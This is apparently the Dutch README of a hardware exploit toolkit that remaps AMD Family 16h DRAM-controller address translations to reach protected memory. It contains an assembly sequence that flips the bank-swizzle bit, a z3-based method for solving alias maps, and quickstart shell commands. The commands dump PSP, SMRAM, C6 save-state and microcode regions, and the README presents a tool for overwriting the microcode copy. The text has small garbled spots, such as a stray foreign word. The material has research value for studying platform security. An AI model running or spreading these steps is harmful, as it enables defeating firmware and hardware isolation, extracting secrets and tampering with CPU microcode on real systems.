skitter-creek-bath-salts: Alles op de CPU ontgrendelen met DRAM-scrambling

&x == &x. Meestal.

Door de DRAM-controller aan te passen, kan een adres overal in het geheugen terechtkomen waar je dat wilt. skitter-creek-bath-salts dringt door tot het diepste niveau van de geheugenhiërarchie en herbedraadt de fysieke DRAM-adrestranslaties om het platformgeheugen te "scramblen" (verhusselen). Hiermee worden de best bewaarde geheimen vrijgegeven: de gespecialiseerde carveouts die zelfs onzichtbaar zijn voor de kernel. Wanneer de translaties breken, storten de muren die erop gebouwd zijn in en ontgrendelen we alles.

TL;DR

  • Ontgrendel je Platform Security Processor (PSP)
  • Ontgrendel System Management Mode (SMM)
  • Ontgrendel C6 DRAM
  • Ontgrendel je CPU-microcode

Doelwit

Ontwikkeld en getest op AMD Family 16h CPU's. Dit is de laatste generatie waarvan de datasheets de translatie-registers van de DRAM-controller documenteren en aantonen dat deze niet vergrendeld kunnen worden. Bij 17h en verder is deze informatie simpelweg weggelaten. De odyssee van p is vergelijkbaar over generaties en architecturen heen, en de onderliggende transformaties strekken zich zelfs uit tot ARM, RISC-V en verder; skitter-creek-bath-salts* laat ons slechts zien hoe we moeten beginnen.

---

De odyssee van *p

Het is een lange weg naar beneden. Geheugen is gebouwd op abstractielagen die zo diep zijn dat ze bijna absurd worden. Wanneer je code *p dereferenceert, lijkt het alsof het toegang krijgt tot het DRAM op positie p. Dat is niet het geval — p is een virtueel adres, en voordat er één bit aan DRAM wordt aangeraakt, moet het door de volgende hindernisbaan:

CPU Core / MMU

  • VA: 64-bit virtueel adres van load/store.
  • Canonical-form check: bits [63:48] sign-extend vanaf bit 47.
  • Segment base add: FS.base / GS.base (MSRFSBASE, MSRGSBASE).
  • TLB probe: getagd door PCID (host) / VPID (guest).
  • Hit: fysiek adres k.
  • Miss: activeer hardware page walker.
  • Page walk (vanaf CR3):
  • PML5 [VA 56:48] (indien CR4.LA57)
  • PML4 [VA 47:39]
  • PDPT [VA 38:30] (1 GiB leaf mogelijk)
  • PD [VA 29:21] (2 MiB leaf mogelijk)
  • PT [VA 20:12]
  • PTE (R/W, U/S, NX, A/D, PAT, PCD, PWT, G)
  • Per-level checks: geëvalueerd bij elke stap van de walk.
  • Privilege (U/S): CPL vs PTE.U/S
  • Write (R/W): + CR0.WP
  • Execute (NX): EFER.NXE
  • SMEP / SMAP: CR4.SMEP, CR4.SMAP, EFLAGS.AC
  • Protection keys: PKRU (user), IA32_PKRS (supervisor)
  • A/D bit update: locked RMW op PTE.
  • Indien gast: EPT / NPT re-walk: elke guest-PA hierboven wordt opnieuw doorlopen.
  • EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT (+ EPT memory-type override).
  • Resultaat: ca. 5x zoveel walks per enkele guest walk.
  • TLB shootdown IPI's: invlpg broadcast naar peer vCPUs.

IOMMU (Chipset / I/O Fabric)

  • Indien apparaat-geinitieerd: IOMMU page walk → VT-d / AMD-Vi: device-ID → domain → tables.
  • Resultaat: fysiek adres k.

CPU Core / MMU — Memory-type resolutie

  • MTRR range match: IA32MTRRDEF_TYPE + fixed/variable MTRRs.
  • PAT entry select: IA32_PAT[ PTE.PAT:PCD:PWT ].
  • Effectief geheugentype: { WB, WT, WC, WP, UC-, UC }.

CPU Uncore — Caches & Coherentie

  • L1-D probe: VIPT, per-core.
  • L2 probe: per-core / per-CCX.
  • LLC probe + directory consult: shared, sliced.
  • Snoop / coherentie: MESI / MOESI broadcast.
  • Intra-socket: broadcast naar peer cores.
  • Inter-socket: QPI, UPI, Infinity Fabric, CXL.cache.
  • Home-node directory response: data | intervention | abort.

System Data Fabric / Interconnect

  • Indien MMIO range of sub-4 GiB MMIO hole → device BAR; klaar.
  • Anders DRAM-gebonden: data fabric / mesh (AMD DF, Intel mesh-or-ring uncore).

MCT / IMC (Memory Controller)

  1. DRAM hole remap: high-memory remap boven TOM.
  2. Memory-region exclusion remap: gereserveerde / beschermde bereiken.
  3. Channel interleave hash: XOR van geselecteerde PA bits → channel.
  4. Rank interleave hash: XOR van geselecteerde PA bits → rank.
  5. Bank interleave hash: XOR van geselecteerde PA bits → bank.
  6. Bank swizzle / XOR scramble: vendor- en BIOS-configureerbaar.
  7. Chip-select normalize (DCT): per-rank CS line (rank → CS map).
  8. Sub-channel select: uitsluitend DDR5 / LPDDR5.

Eindresultaat: DRAM coördinaten (bank group, bank, row (RAS), column (CAS)).

Dit project werkt op de diepste niveaus van de *p pijplijn: de MCT/DCT-laag. Hier komt een fysiek adres van de data fabric/interconnect de geheugencontroller binnen en wordt het voor de laatste keer herschreven naar de ruwe DRAM-coördinaten die naar de DIMM worden gestuurd.

---

DRAM "spaghettificeren"

Fysieke adressen zijn in feite slechts suggesties.

xor dword [0xf80c2094], 0x00400000

Dat is de exploit. Alles. Eén bit-flip in de DRAM-controller herbedraadt de hele fundering van de *p pijplijn, waardoor data die zich op &x bevond, nu halverwege de reis ergens anders landt. Plotseling is &x != &x.

Alle ingenieuze mechanismen die de CPU, firmware, uncore en chipset hebben gebruikt om beschermde regio's van het geheugen af te schermen, bevinden zich boven de geheugencontroller en zijn volledig onwetend over wat er daaronder gebeurt. Bestaande geheugenv fences bewaken fysieke adressen, geen DRAM-coördinaten. Als je de DRAM-coördinaten herschikt, merken de barrières daarboven niets van.

Het herbedraden van DRAM is eenvoudig; de bovenstaande regel betreft de bank-swizzle-mode in de DCT. Het is één van de tientallen die de adres-remaps op de laatste laag controleren. Het moeilijkste deel is het platform stabiel houden terwijl het geheugen eronder wordt gehusseld.

De truc: wees snel en raak het DRAM niet aan. Schakel de AP's (Application Processors) uit, prime de TLB's, warm de cache op, schakel interrupts uit, flush het doelwit, serialiseer geheugenacties en hoop dat de CPU de volgende instructies heeft geprefetched. Herbedraad vervolgens de MCT/DCT om het DRAM te spaghettificeren, haal data uit de beschermde regio, herstel de mappings, serialiseer opnieuw, zet interrupts weer aan en hervat de AP's. Alles is dan weer normaal, zonder dat het platform beschadigd is.

mov eax, [0xf80c2094]          ; prime mmio TLB
mov eax, [0x6f800000]          ; prime target TLB
pushf                          ; bewaar flags
cli                            ; interrupts uit
clflush [0x6f800000]           ; evict target, forceer dram read
mfence                         ; barrier - geen coherente world dram access
lfence                         ; herordening naar spaghettified view
xor dword [0xf80c2094], 1<<22  ; flip dct swizzle → spaghettify dram
mov ebx, [0x6f800000]          ; fetch target in spaghettified view
xor dword [0xf80c2094], 1<<22  ; restore dct swizzle → unscramble
mfence                         ; barrier - geen spaghettified dram access
lfence                         ; herordening naar coherent world view
popf                           ; interrupts weer aan

Met een zorgvuldige setup van paging, cache-states, threading en TLB's kan deze adres-scrambling vanuit C worden uitgevoerd om te illustreren hoe de *p pijplijn instort.

---

Alles ontgrendelen

Elke beschermde geheugenregio op het platform is bereikbaar met een rekenmachine. Met de bovenstaande aanpak kunnen we de MCT/DCT-transformatie herprogrammeren op een draaiend systeem.

Er is echter een uitdaging: hoewel we de translatie eenvoudig kunnen wijzigen, weten we niet welke nieuwe transformaties de MCT/DCT zal gebruiken (datasheets zijn hier onvolledig; XOR-maps kloppen niet en details variëren per model). Zonder deze kennis wordt het geheugen wel gehusseld, maar kunnen we het niet reconstrueren.

Gelukkig is de adrestransformatie van de DRAM-controller een GF(2) lineaire afbeelding. Dit betekent dat we het gehusselde geheugen kunnen reconstrueren met basis lineaire algebra.

De wiskundige aanpak

In isang normale situatie (coherent view) wordt een transformatie toegepast op een fysiek adres, wat landt op een geheim in het DRAM: M_firmware * target = secret

Wanneer we de MCT/DCT-stage herbedraden, betreedt het platform een "spaghettified" weergave. Een ander transformatieproces laat nu een alias hetzelfde DRAM-geheim bereiken: M_attacker * alias = secret

Om deze alias te vinden, combineren we de inverse van de aanvalstransformatie met de voorwaartse transformatie van de firmware: alias = Mattacker⁻¹ Mfirmware target

Omdat de matrices onbekend zijn, gebruiken we z3 (een SMT-solver).

  1. We beginnen in de coherente weergave.
  2. We wijzigen de MCT/DCT naar de spaghettified weergave.
  3. We plaatsen een sentinel value (bijv. 0xdeadc0de) op een willekeurig adres in het geheugen.
  4. We schakelen terug naar de coherente weergave en scannen het geheugen om te zien waar de sentinel resurfaceert.
  5. Dit geeft een (target, alias) paar.

Door dit proces te herhalen en meerdere paren aan z3 te voeren, lost de solver de translatie-matrix op. Deze matrix dient als een "steen van Rosetta": we kunnen nu elk doeladres in de normale weergave omzetten naar een alias in de spaghettified weergave.

Om beschermd DRAM te ontgrendelen (zoals PSP private memory, SMRAM of de C6 idle-state), berekenen we de alias via z3, herbedraden de DCT, lezen/schrijven het alias-adres en herstellen vervolgens de DCT. Hiermee omzeilen we alle fences, locks en beveiligingschecks van het platform.

---

Snelstart handleidingen

1. Ontgrendel je Platform Security Processor (PSP)

De fTPM draait op de ARM-core van de PSP in een DRAM carveout net voorbij het zichtbare top-of-memory.

# Stop vroegtijdig op platforms waar dit niet is getest.
./userspace/platform_check || exit 1

# Bepaal de PSP DRAM carveout (stelt PSP_BASE / PSP_SIZE in).
eval "$(sudo ./userspace/dram_carveouts --region psp)"

# Dump het geheugen met behulp van opgeslagen maps.
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

# De PSP is een ARM-core; disassembleer als Thumb-2.
# Voorbeeld: extractie van crAmd_ModExp routine.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \
--start-address=$((PSP_BASE + 0x19d4)) \
--stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \
-D psp.bin

Hiermee kun je de RSA-engine van de PSP extraheren — het mechanisme achter elke fTPM-signatuur — uit geheugen dat eigenlijk exclusief voor de PSP is gereserveerd.

2. Ontgrendel System Management Mode (SMM)

Lees wat SMM verbergt. De SMI handler entry vector bevindt zich op SMBASE + 0x8000.

./userspace/platform_check || exit 1
sudo modprobe msr

# SMBASE is per-core; core 0 leeft in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111)
SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

# Dump de entry vector via de alias map en disassembleer on-the-fly.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

Deze instructies draaien in Ring -2, de meest geprivilegieerde context op de CPU. SMRAM "locked" blijkt slechts een suggestie wanneer we direct met de DRAM-controller kunnen communiceren.

3. Ontgrendel C6 DRAM

Wanneer cores in C6 power-gate gaan, wordt hun volledige x86 architecturale context hier opgeslagen voor herstel.

./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"

# Dump de C6 stash.
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

# Voorbeeld: lees IA32_APIC_BASE (+0x9b8) voor alle vier de cores.
for c in 0 1 2 3; do
  printf 'core %d  ' $c
  hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done

Gevonden registers in de C6 stash:

Offsetx86 StateWaarde Core-0 (voorbeeld)
+0x8b0GS / per-cpu base0xffff9be4e3600000
+0x9a0CR3 (page-table root)0x0fd46000
+0x9b8IA32APICBASE0xfee00900
+0xa38variable MTRR (base/mask)0x6f000000 / …0800
+0xb10saved RIP0xffffffff8f3a0029

4. Ontgrendel je CPU-microcode

Wanneer een core in C6 gaat, gaat de microcode patch RAM (vluchtig SRAM) uit. De C6 stash bewaart een kopie van de geladen patch in het DRAM om deze bij ontwaken opnieuw te laden.

./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"

# Pagina 1 van de save area van core 0 is de live microcode patch body.
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

Met de tool dram_poke kan deze kopie worden overschreven, wat betekent dat je de microcode kunt manipuleren die de CPU laadt bij het ontwaken uit idle-state.

---

Build & Gebruik

Compileren

make        # Bouwt kernel/spaghettify.ko en alle userspace tools
make clean

Tools

Alle tools moeten als root worden uitgevoerd.

  • dram_read: Eenvoudig lezen van een beschermd fysiek adres via spaghettified view.
  • --pa <adres>
  • --do-swizzle <0|1>
  • --do-bankswap <0|1>
  • dram_poke: Schrijven naar een beschermd geheugenbereik met behulp van opgeloste maps.
  • -s, --protected-pa <adres>
  • -l, --length <n>
  • --map <bestand>
  • dram_dump: Lezen uit een beschermd geheugenbereik via de alias-methode.
  • -s, --protected-pa <adres>
  • -l, --length <n>
  • --map <bestand>

---

De gedeelde pijplijn

skitter-creek-bath-salts onderzoekt hoe de laatste fasen van de MCT/DCT transformaties de beveiliging van alles daarboven kunnen omverwerpen. Hoewel dit voorbeeld is gebaseerd op AMD Family 16h, is de architecturale vorm universeel.

Channel interleave, rank interleave, bank interleave, swizzle en chip-select normalize komen voor in vrijwel elke moderne geheugencontroller (AMD, Intel, ARM, RISC-V). Boven deze laag zitten technologieën zoals SEV, SGX, TDX, TrustZone, PSP en SMRAM. Alles wat in het DRAM staat — zelfs zaken die onzichtbaar zijn voor Ring-0 of de CPU zelf — rust op de laatste lagen van een *p pijplijn. Door één bit te flippen in dat laatste niveau, ontgrendelen we alles.

Referenties:

  • Black Hat 2026 — Spaghettifying DRAM (Coming Soon)
  • Auteur: Christopher Domas (@xoreaxeaxeax)